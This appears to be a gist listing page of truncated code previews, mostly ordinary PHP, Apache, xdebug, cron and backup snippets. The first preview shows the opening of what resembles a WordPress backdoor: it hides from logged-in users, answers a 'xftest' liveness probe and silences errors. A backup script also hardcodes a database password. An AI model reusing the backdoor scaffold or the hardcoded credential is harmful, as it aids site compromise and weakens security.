This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php if (!class_exists('Ratel')) { | |
if (function_exists('is_user_logged_in')) { | |
if (is_user_logged_in()) { | |
return FALSE; | |
} | |
} | |
if (isset($_REQUEST['xftest'])) { | |
die(pi() * 6); | |
} | |
@ini_set('display_errors', 0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Turn off all options we don't need. | |
Options None | |
Options +FollowSymLinks | |
# Set the catch-all handler to prevent scripts from being executed. | |
SetHandler YouShallNotPass | |
<Files *> | |
# Override the handler again if we're run later in the evaluation list. | |
SetHandler YouShallNotPass | |
</Files> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// crontab -e -> | |
// 1 * * * * php /home/core/clean_cryptocurrency_activity.php >> /var/log/cryptocurrency_activity.log 2>&1 | |
// Don't forget to add the file to logrotate!! (or delete it periodically) | |
$date = new DateTime("now"); | |
$dateString = $date->format("Y/m/d-H:i:s"); | |
$needToClean = false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# DATOS | |
WEB_ROOT=/apps/ | |
BACKUP_ROOT=/home/core/backups | |
DB_USER=backup #Permiso para SELECT y LOCK TABLES | |
DB_PASSWORD=b4ckup | |
DAYS_FOR_BACKUP=100 | |
DATE=$( date -I ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// APPEND into the class you wanna test. | |
/** @var array */ | |
private $time; | |
private function initTimeMeasurement() { | |
$now = new \DateTimeImmutable('now'); | |
$this->time = []; | |
$this->time[] = [ | |
'time' => $now, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
zend_extension=xdebug.so | |
xdebug.remote_connect_back = 1 | |
xdebug.default_enable = 1 | |
xdebug.remote_autostart = 1 | |
xdebug.remote_enable = 1 | |
xdebug.remote_port = 9000 | |
xdebug.remote_handler = dbgp | |
xdebug.max_nesting_level = 500 | |
xdebug.idekey = PHPSTORM | |
;xdebug.profiler_enable_trigger = 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$existing_filepath = "/home/nzcodarnoc/sites/default/files/imported/picture.jpg" | |
$new_filepath = "public://picture.jpg" | |
// Load a node | |
$node = node_load($nid, NULL, TRUE); | |
// Create the file object | |
$drupal_file = file_save_data(file_get_contents($existing_filepath), $new_filepath); | |
$drupal_file->alt = $node->title; | |
$drupal_file->title = $node->title; | |
// Assign the file object to the node, as an array |
OlderNewer